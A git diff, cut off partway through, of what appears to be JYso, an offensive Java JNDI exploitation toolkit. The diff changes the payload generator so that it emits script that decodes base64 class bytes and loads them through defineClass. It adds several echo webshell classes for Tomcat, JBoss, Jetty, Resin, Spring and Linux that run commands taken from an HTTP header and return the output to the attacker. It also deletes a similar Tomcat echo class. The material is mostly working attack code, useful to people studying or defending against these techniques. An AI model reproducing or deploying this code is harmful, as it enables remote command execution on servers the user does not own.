diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index 35139ab..c170383 100644 Binary files a/.gradle/8.7/checksums/checksums.lock and b/.gradle/8.7/checksums/checksums.lock differ diff --git a/.gradle/8.7/executionHistory/executionHistory.bin b/.gradle/8.7/executionHistory/executionHistory.bin index 4b2189a..3afde8e 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.bin and b/.gradle/8.7/executionHistory/executionHistory.bin differ diff --git a/.gradle/8.7/executionHistory/executionHistory.lock b/.gradle/8.7/executionHistory/executionHistory.lock index b935e4d..7d5b6b4 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.lock and b/.gradle/8.7/executionHistory/executionHistory.lock differ diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin index 4ac3725..54a61ad 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.bin and b/.gradle/8.7/fileHashes/fileHashes.bin differ diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index b0f7351..2b68264 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.lock and b/.gradle/8.7/fileHashes/fileHashes.lock differ diff --git a/.gradle/8.7/fileHashes/resourceHashesCache.bin b/.gradle/8.7/fileHashes/resourceHashesCache.bin index cc54671..3922616 100644 Binary files a/.gradle/8.7/fileHashes/resourceHashesCache.bin and b/.gradle/8.7/fileHashes/resourceHashesCache.bin differ diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock index 134bc9b..e6066d7 100644 Binary files a/.gradle/buildOutputCleanup/buildOutputCleanup.lock and b/.gradle/buildOutputCleanup/buildOutputCleanup.lock differ diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe index 80f6541..f238e5b 100644 Binary files a/.gradle/file-system.probe and b/.gradle/file-system.probe differ diff --git a/build.gradle b/build.gradle index c77e0bc..5bc2d5d 100644 --- a/build.gradle +++ b/build.gradle @@ -101,7 +101,7 @@ dependencies { } group = 'org.example' -version = '1.3.0' +version = '1.3.1' description = 'JYso' java.sourceCompatibility = JavaVersion.VERSION_1_8 diff --git a/src/main/java/com/qi4l/jndi/controllers/BasicController.java b/src/main/java/com/qi4l/jndi/controllers/BasicController.java index d64ee4f..a8c81ad 100644 --- a/src/main/java/com/qi4l/jndi/controllers/BasicController.java +++ b/src/main/java/com/qi4l/jndi/controllers/BasicController.java @@ -9,7 +9,8 @@ import com.qi4l.jndi.gadgets.utils.InjShell; import com.qi4l.jndi.gadgets.utils.Util; import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler; import com.qi4l.jndi.template.CommandTemplate; -import com.qi4l.jndi.template.echo.Meterpreter; +import com.qi4l.jndi.template.echoStatic.Meterpreter; +import com.qi4l.jndi.template.echoStatic.TomcatEcho; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; diff --git a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java index fdecb2f..476b99a 100644 --- a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java +++ b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java @@ -8,7 +8,6 @@ import com.qi4l.jndi.gadgets.utils.Gadgets; import com.qi4l.jndi.gadgets.utils.InjShell; import com.qi4l.jndi.gadgets.utils.Util; import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler; -import com.qi4l.jndi.template.echo.TomcatEchoJndi; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; @@ -31,7 +30,7 @@ public class TomcatBypassController implements LdapController { @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { try { - System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with javax.el.ELProcessor payload|@")); + System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for |@" + base + " @|green with javax.el.ELProcessor payload|@")); System.out.println("-------------------------------------- JNDI Local Refenrence Links --------------------------------------"); Entry e = new Entry(base); e.addAttribute("javaClassName", "java.lang.String"); @@ -49,8 +48,7 @@ public class TomcatBypassController implements LdapController { if (payloadType.contains("M-")) { String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); InjShell.init(params); - Class classQ = Gadgets.createClassT(ClassName1).getClass(); - code = InjShell.injectClass(classQ); + code = Gadgets.createClassT(ClassName1); } if (payloadType.contains("command")) { @@ -61,9 +59,6 @@ public class TomcatBypassController implements LdapController { code = helper.injectMeterpreter(); } - if (payloadType.contains("TomcatEcho111")) { - code = helper.injectTomcatEchoTemplate(); - } String payloadTemplate = "{" + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + @@ -150,10 +145,6 @@ public class TomcatBypassController implements LdapController { return InjShell.injectClass(ctClazz); } - public String injectTomcatEchoTemplate() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { - return InjShell.injectClass(TomcatEchoJndi.class); - } - public String getExecCode(String cmd) throws IOException { String code = "var strs=new Array(3);\n" + diff --git a/src/main/java/com/qi4l/jndi/controllers/TomcatJdbcController.java b/src/main/java/com/qi4l/jndi/controllers/TomcatJdbcController.java index c426288..bf1de6b 100644 --- a/src/main/java/com/qi4l/jndi/controllers/TomcatJdbcController.java +++ b/src/main/java/com/qi4l/jndi/controllers/TomcatJdbcController.java @@ -57,8 +57,7 @@ public class TomcatJdbcController implements LdapController { if (payloadType.contains("M-")) { String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); InjShell.init(params); - Class classQ = Gadgets.createClassT(ClassName1); - code = InjShell.injectClass(classQ); + code = Gadgets.createClassT(ClassName1); } if (payloadType.contains("command")) { diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java index 65443a3..1cfa309 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java @@ -1,12 +1,12 @@ package com.qi4l.jndi.gadgets.utils; -import com.qi4l.jndi.template.echo.Meterpreter; -import com.qi4l.jndi.template.echo.SpringEcho; -import com.qi4l.jndi.template.echo.TomcatEcho; +import com.qi4l.jndi.template.echoStatic.Meterpreter; +import com.qi4l.jndi.template.echoStatic.SpringEcho; +import com.qi4l.jndi.template.echoStatic.TomcatEcho; import com.qi4l.jndi.template.isOK; import com.qi4l.jndi.template.isSuccess; -import com.qi4l.jndi.template.memshell.Websphere.WebsphereMemshellTemplate; -import com.qi4l.jndi.template.memshell.jboss.JBFMSFromContextF; +import com.qi4l.jndi.template.memshellStatic.Websphere.WebsphereMemshellTemplate; +import com.qi4l.jndi.template.memshellStatic.jboss.JBFMSFromContextF; import net.jodah.expiringmap.ExpirationPolicy; import net.jodah.expiringmap.ExpiringMap; diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java index 0418b15..00aa6c6 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java @@ -1,7 +1,7 @@ package com.qi4l.jndi.gadgets.utils; import com.qi4l.jndi.gadgets.Config.Config; -import com.qi4l.jndi.template.echo.Meterpreter; +import com.qi4l.jndi.template.echoStatic.Meterpreter; import javassist.*; import java.io.*; diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java index 8a054bb..b278526 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java @@ -7,10 +7,12 @@ import javassist.ClassClassPath; import javassist.CtClass; import javassist.CtConstructor; +import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; +import java.util.Base64; import java.util.HashMap; import java.util.Map; @@ -153,7 +155,7 @@ public class Gadgets extends ClassLoader { return templates; } - public static Class createClassT(String command) throws Exception { + public static String createClassT(String command) throws Exception { command = command.trim(); // 支持单双引号 @@ -203,7 +205,22 @@ public class Gadgets extends ClassLoader { } } - return ctClass.getClass(); + byte[] bytes = ctClass.toBytecode(); + String classCode = Base64.getEncoder().encodeToString(bytes); + //System.out.println("Base64 Encoded CtClass: " + classCode); + ctClass.detach(); + + return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " var clazz = classLoader.loadClass('" + ctClass.getName() + "');\n" + + " clazz.newInstance();\n" + + "}catch(err){\n" + + " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + " method.setAccessible(true);\n" + + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " clazz.newInstance();\n" + + "};"; } public static String createClassB(String command) throws Exception { diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java index f142cf9..d4f70da 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java @@ -2,7 +2,7 @@ package com.qi4l.jndi.gadgets.utils; import com.qi4l.jndi.gadgets.Config.Config; import com.qi4l.jndi.template.Agent.WinMenshell; -import com.qi4l.jndi.template.memshell.tomcat.TSMSFromJMXF; +import com.qi4l.jndi.template.memshellStatic.tomcat.TSMSFromJMXF; import javassist.*; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; @@ -16,7 +16,6 @@ import java.util.List; import static com.qi4l.jndi.gadgets.Config.MemShellPayloads.*; import static com.qi4l.jndi.gadgets.utils.HexUtils.generatePassword; -import static com.qi4l.jndi.template.memshell.shell.MemShellPayloads.SUO5.CMD_SHELL_FOR_WEBFLUX; public class InjShell { diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java index aa1dc2d..8e2b40c 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.gadgets.utils; -import com.qi4l.jndi.template.echo.Meterpreter; +import com.qi4l.jndi.template.echoStatic.Meterpreter; import java.io.ByteArrayOutputStream; import java.io.IOException; diff --git a/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java b/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java deleted file mode 100644 index ac203c7..0000000 --- a/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java +++ /dev/null @@ -1,146 +0,0 @@ -package com.qi4l.jndi.template.echo; - -import com.sun.org.apache.xalan.internal.xsltc.DOM; -import com.sun.org.apache.xalan.internal.xsltc.TransletException; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; -import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; -import com.sun.org.apache.xml.internal.serializer.SerializationHandler; - -import java.io.ByteArrayOutputStream; -import java.io.InputStream; -import java.lang.reflect.Field; -import java.util.List; - -public class TomcatEchoJndi extends AbstractTranslet { - - public static String CMD_HEADER = "X-Token-Data"; - - public TomcatEchoJndi() { - try { - boolean flag = false; - ThreadGroup group = Thread.currentThread().getThreadGroup(); - ClassLoader loader = Thread.currentThread().getContextClassLoader(); - Field f = group.getClass().getDeclaredField("threads"); - f.setAccessible(true); - Thread[] threads = (Thread[])((Thread[])f.get(group)); - - for(int i = 0; i < threads.length; ++i) { - try { - Thread t = threads[i]; - if (t != null) { - String str = t.getName(); - if (!str.contains("exec") && str.contains("http")) { - f = t.getClass().getDeclaredField("target"); - f.setAccessible(true); - Object obj = f.get(t); - if (obj instanceof Runnable) { - f = obj.getClass().getDeclaredField("this$0"); - f.setAccessible(true); - obj = f.get(obj); - - try { - f = obj.getClass().getDeclaredField("handler"); - } catch (NoSuchFieldException var19) { - f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); - } - - f.setAccessible(true); - obj = f.get(obj); - - try { - f = obj.getClass().getSuperclass().getDeclaredField("global"); - } catch (NoSuchFieldException var18) { - f = obj.getClass().getDeclaredField("global"); - } - - f.setAccessible(true); - obj = f.get(obj); - f = obj.getClass().getDeclaredField("processors"); - f.setAccessible(true); - List processors = (List)((List)f.get(obj)); - - for(int j = 0; j < processors.size(); ++j) { - Object processor = processors.get(j); - f = processor.getClass().getDeclaredField("req"); - f.setAccessible(true); - Object req = f.get(processor); - Object resp = req.getClass().getMethod("getResponse").invoke(req); - str = (String)req.getClass().getMethod("getHeader", String.class).invoke(req, CMD_HEADER); - if (str != null && !str.isEmpty()) { - resp.getClass().getMethod("setStatus", Integer.TYPE).invoke(resp, new Integer(200)); - ByteArrayOutputStream baos = q(str); - - try { - Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader); - obj = cls.newInstance(); - cls.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length); - resp.getClass().getMethod("doWrite", cls).invoke(resp, obj); - } catch (NoSuchMethodException var17) { - Class cls = Class.forName("java.nio.ByteBuffer", false, loader); - obj = cls.getDeclaredMethod("wrap", byte[].class).invoke(cls, baos.toByteArray()); - resp.getClass().getMethod("doWrite", cls).invoke(resp, obj); - } - - flag = true; - } - - if (flag) { - break; - } - } - - if (flag) { - break; - } - } - } - } - } catch (Exception var20) { - } - } - } catch (Exception var21) { - } - } - - public static ByteArrayOutputStream q(String var0) { - return execCmd(var0); - } - - public static ByteArrayOutputStream execCmd(String var0) { - try { - if (var0 != null && !var0.isEmpty()) { - String[] var1 = null; - if (System.getProperty("os.name").toLowerCase().contains("win")) { - var1 = new String[]{"cmd", "/c", var0}; - } else { - var1 = new String[]{"/bin/bash", "-c", var0}; - } - - InputStream var2 = Runtime.getRuntime().exec(var1).getInputStream(); - ByteArrayOutputStream var3 = new ByteArrayOutputStream(); - boolean var4 = false; - byte[] var5 = new byte[1024]; - - int var8; - while((var8 = var2.read(var5)) != -1) { - var3.write(var5, 0, var8); - } - - return var3; - } - } catch (Exception var7) { - } - - return null; - } - - @Override - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { - - } - - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { - - } -} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CAllEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CAllEcho.java new file mode 100644 index 0000000..609532c --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CAllEcho.java @@ -0,0 +1,88 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CAllEcho { + public static String CMD_HEADER = "cmd"; + + public static java.util.HashSet h = new java.util.HashSet(); + + public static javax.servlet.http.HttpServletRequest r = null; + + public static javax.servlet.http.HttpServletResponse p = null; + + public CAllEcho() { + F(Thread.currentThread(), 0); + } + + private static boolean i(Object obj) { + if (obj == null || h.contains(obj)) { + return true; + } + h.add(obj); + return false; + } + + private static void F(Object start, int depth) { + Class n = start.getClass(); + do { + java.lang.reflect.Field f = null; + int l = n.getDeclaredFields().length; + for (int i = 0; i < l; i++) { + f = n.getDeclaredFields()[i]; + f.setAccessible(true); + Object o = null; + try { + o = f.get(start); + if (!o.getClass().isArray()) { + p(o, depth); + } else { + Object q = null; + Object[] objs = (Object[]) o; + int len = java.lang.reflect.Array.getLength(o); + for (int j = 0; j < len; j++) { + q = objs[j]; + p(q, depth); + } + } + } catch (Exception ignored) { + } + } + } while ((n = n.getSuperclass()) != null); + } + + private static void p(Object o, int depth) { + if (depth > 52 || (r != null && p != null)) { + return; + } + if (!i(o)) { + if (r == null && javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())) { + r = (javax.servlet.http.HttpServletRequest) o; + if (r.getHeader(CMD_HEADER) == null) { + r = null; + } else { + try { + p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse", new Class[]{}).invoke(r, new Object[]{}); + } catch (Exception e) { + r = null; + } + } + } + if (r != null && p != null) { + try { + try { + p.getWriter().println(q(r.getHeader(CMD_HEADER))); + } catch (Exception ignored) { + } + p.getWriter().flush(); + p.getWriter().close(); + } catch (Exception ignored) { + } + return; + } + F(o, depth + 1); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CJbossEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CJbossEcho.java new file mode 100644 index 0000000..96b40cd --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CJbossEcho.java @@ -0,0 +1,68 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CJbossEcho { + + public static String CMD_HEADER = "cmd"; + + public CJbossEcho() { + try { + Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + String cmd = getMethodAndInvoke(req, "getHeader", new Class[]{String.class}, new Object[]{CMD_HEADER}).toString(); + + if (cmd != null && !cmd.isEmpty()) { + java.io.ByteArrayOutputStream baos = q(cmd); + + try { + // 高版本底层是 undertow + Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); + Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{}); + java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{}); + os.write(baos.toByteArray()); + os.close(); + } catch (ClassNotFoundException ignored) { + Object response = getMethodAndInvoke(req, "getResponse", new Class[]{}, new Object[]{}); + if (response == null) { + java.lang.reflect.Field field = req.getClass().getDeclaredField("request"); + field.setAccessible(true); + response = getMethodAndInvoke(field.get(req), "getResponse", new Class[]{}, new Object[]{}); + + } + Object writer = getMethodAndInvoke(response, "getWriter", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "write", new Class[]{String.class}, new Object[]{baos.toString()}); + getMethodAndInvoke(writer, "flush", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "close", new Class[]{}, new Object[]{}); + } + } + } catch (Exception ignored) { + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CJettyEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CJettyEcho.java new file mode 100644 index 0000000..13f1314 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CJettyEcho.java @@ -0,0 +1,77 @@ +package com.qi4l.jndi.template.echoConstructor; + +import java.io.ByteArrayOutputStream; + +public class CJettyEcho { + + public static String CMD_HEADER; + + public CJettyEcho() { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) { + Object connection = obj; + java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class) null); + obj = method.invoke(connection, (Object) null); + + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String) method.invoke(obj, new Object[]{"cmd"}); + + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class}); + java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(connection, new Object[]{"utf-8"}); + printWriter.println(res); + } + + break; + } else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) { + java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class) null); + Object httpChannel = method.invoke(obj, (Object) null); + + method = httpChannel.getClass().getMethod("getRequest", (Class) null); + obj = method.invoke(httpChannel, (Object) null); + + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String) method.invoke(obj, new Object[]{CMD_HEADER}); + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = httpChannel.getClass().getMethod("getResponse", (Class) null); + obj = method.invoke(httpChannel, (Object) null); + + method = obj.getClass().getMethod("getWriter", (Class) null); + java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(obj, (Object) null); + printWriter.println(res); + } + + break; + } + } + } catch (Exception ignored) { + } + } + + public static ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho1.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho1.java new file mode 100644 index 0000000..497a1bf --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho1.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CLinuxEcho1 { + + public CLinuxEcho1() { + try { + String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'"; + + java.util.List list = new java.util.ArrayList<>(); + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + String line; + while ((line = br.readLine()) != null) { + list.add(line); + } + + br.close(); + + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + + for (String s : list) { + Integer integer = Integer.parseInt(s); + + try { + cmd = new String[]{"/bin/sh", "-c", "ls -l"}; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + StringBuilder sb = new StringBuilder(); + while ((line = br.readLine()) != null) { + sb.append(line + "\n"); + } + + java.io.FileOutputStream os = new java.io.FileOutputStream(c.newInstance(integer)); + os.write(sb.toString().getBytes()); + + br.close(); + os.close(); + } catch (Exception e) { + } + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho2.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho2.java new file mode 100644 index 0000000..2ef65ad --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho2.java @@ -0,0 +1,66 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CLinuxEcho2 { + + public CLinuxEcho2() { + try { + if (java.io.File.separator.equals("/")) { + String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'"; + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res1 = new java.util.ArrayList(); + String line = ""; + while ((line = br.readLine()) != null && !line.trim().isEmpty()) { + res1.add(line); + } + br.close(); + + try { + Thread.sleep((long) 2000); + } catch (InterruptedException e) { + //pass + } + + command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'"; + cmd = new String[]{"/bin/sh", "-c", command}; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res2 = new java.util.ArrayList(); + while ((line = br.readLine()) != null && !line.trim().isEmpty()) { + res2.add(line); + } + br.close(); + + int index = 0; + int max = 0; + for (int i = 0; i < res2.size(); i++) { + try { + String socketNo = ((String) res2.get(i)).split("\\s+")[1].substring(8); + socketNo = socketNo.substring(0, socketNo.length() - 1); + for (int j = 0; j < res1.size(); j++) { + if (!socketNo.equals(res1.get(j))) continue; + + if (Integer.parseInt(socketNo) > max) { + max = Integer.parseInt(socketNo); + index = j; + } + break; + } + } catch (Exception e) { + //pass + } + } + + int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]); + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + cmd = new String[]{"/bin/sh", "-c", "id"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n"; + java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)})); + os.write(result.getBytes()); + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CResinEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CResinEcho.java new file mode 100644 index 0000000..2d00e10 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CResinEcho.java @@ -0,0 +1,48 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CResinEcho { + + public static String CMD_HEADER; + + public CResinEcho() { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) { + com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj; + String cmd = httpRequest.getHeader(CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse(); + httpResponse.setHeader("Content-Length", res.length() + ""); + java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", (Class) null); + method.setAccessible(true); + com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse, (Object) null); + httpResponseStream.write(res.getBytes(), 0, res.length()); + httpResponseStream.close(); + } + + break; + } + } + } catch (Exception ignored) { + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CSpringEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CSpringEcho.java new file mode 100644 index 0000000..0277299 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CSpringEcho.java @@ -0,0 +1,28 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CSpringEcho { + + public static String CMD_HEADER; + + public CSpringEcho() { + + try { + org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); + javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); + javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); + String cmd = request.getHeader(CMD_HEADER); + if (cmd != null && !cmd.isEmpty()) { + response.getWriter().write(new String(q(cmd).toByteArray())); + } + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CTomcatEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CTomcatEcho.java new file mode 100644 index 0000000..347d0bd --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CTomcatEcho.java @@ -0,0 +1,81 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CTomcatEcho { + public static String CMD_HEADER; + + public CTomcatEcho() { + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + try { + Thread t = threads[i]; + if (t == null) continue; + String str = t.getName(); + if (str.contains("exec") || !str.contains("http")) continue; + f = 